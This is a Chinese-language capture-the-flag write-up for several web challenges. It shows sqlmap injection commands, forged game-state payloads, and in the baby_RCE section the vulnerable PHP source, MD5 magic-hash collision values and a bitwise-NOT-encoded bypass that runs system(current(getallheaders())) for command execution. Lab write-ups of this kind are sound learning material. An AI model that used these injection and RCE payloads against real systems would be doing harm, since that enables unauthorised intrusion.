web
babysql
sql注入
sqlmap直接秒了
爆出库
sqlmap -u http://ctf.ctbu.edu.cn:34495/?id= --dbs
爆出表
sqlmap -u http://ctf.ctbu.edu.cn:34495/?id= 'dbsql' --tables
直接出了
ezphp
真的ez吗?
反序列化
构造pop链---b溃的php魔法
一直输出__toString -----------fine
出出出
coctf{eAZy_pHp_2c000e4312e1}
tcl-tac-toe
井字棋
我要赢的时候,它直接走两步--?????~!!!!
抓包发现prev_board 和 new_board限和走一步后返回的标签
然后伪造,让AI走的变成我走的
构造payload
prev_board=-%20-%20-%20-%20-%20-%20-%20-%20-&new_board=-%20-%20-%20-%20C%20-%20-%20-%20- prev_board=O%20-%20-%20-%20C%20-%20-%20-%20-&new_board=O%20-%20-%20C%20C%20-%20-%20-%20- prev_board=O%20O%20-%20C%20C%20-%20-%20-%20-&new_board=O%20O%20X%20C%20C%20-%20-%20-%20- prev_board=O%20O%20X%20C%20C%20O%20-%20-%20-&new_board=O%20O%20X%20C%20C%20O%20X%20-%20- prev_board=O%20O%20X%20C%20C%20O%20X%20O%20-&new_board=O%20O%20X%20C%20X%20O%20X%20O%20- 带上走一步返回的标签
出出出
baby_RCE
<?php show_source(__FILE__); if(isset($_GET['md51'])&&isset($_GET['md52'])){ if(is_numeric($_GET['md51'])){ $str1=md5($_GET['md51']); $str2=md5($_GET['md52']); if($str1!=$str2){ $a=strtr($str1,'coctf','01234'); $b=strtr($str2,'coctf','01234'); if($a==$b){ if(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$cmd)){ if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)){ echo("噢,你真厉害!!!!!"); @eval($cmd); }else{ die('小黑子,被我抓住了吧!!!!!'); } }else{ die('这日子很有盼头啊!'); } }else{ die('怎么回事,地主的粮呢?!'); } }else{ die('年轻的web手奥,是不是要放弃了呢?'); } }else{ die('你不行啊,小菜鸡!'); } }else{ die('不要乱传嗷,我看着呢!!'); } }else{ die('怎么回事,地主的粮呢?!'); } ?>
这道题有两个之前没遇到过的知识点
第一个md5碰撞安全漏洞 常见会发生碰撞的数组和字符串
数组 240610708 0e462097431906509019562988736854 9081940 0e9523c2c4430c555306879508688312 2120624 0e85776838554cc1775842c212686416 字符串 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675
- preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$cmd) - ';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)
遇到这个两个过滤了。。。。。。。。。
异或不行,构造不行,试试取反吧,,,,,但是需要functionname()
形式的,,,咋取啊啊啊
[^\s()]+?表示匹配一次任意非空格字符+括号,(?R)?是递归的匹配。因此会限制只能调用函 数而不能传参。并且最后还要强等于;思路就是要传一个无参的函数来进行rce。 php中有一个函数:getallheaders(),该函数可以获取请求头的内容,然后current函数可以获 取第一键值。因此我们可以在请求头传入内容,使用这两个函数获取内容,并使用system 去执行。payload:system(current(getallheaders())) 把这个进行取反操作。并在请求头输入命令即可。但是如果直接取反的话会报错,因为有不 可见字符,因此要进行url编码一下。
[!%FF]绕过报错
查看环境变量
payload:md51=2120624&md52=240610708&cmd=[~%8F%97%8F%96%91%99%90][!%FF]();
payload:md51=2120624&md52=240610708&cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
babyphp![](https://img-blog.csdnimg.cn/3059a610da314990b2ea882c09927086.png)
一直绕不过这两个简单的传参!!!!!!!
拉到IDE里面,发现有特殊字符
原来如此!!
源码中找到flag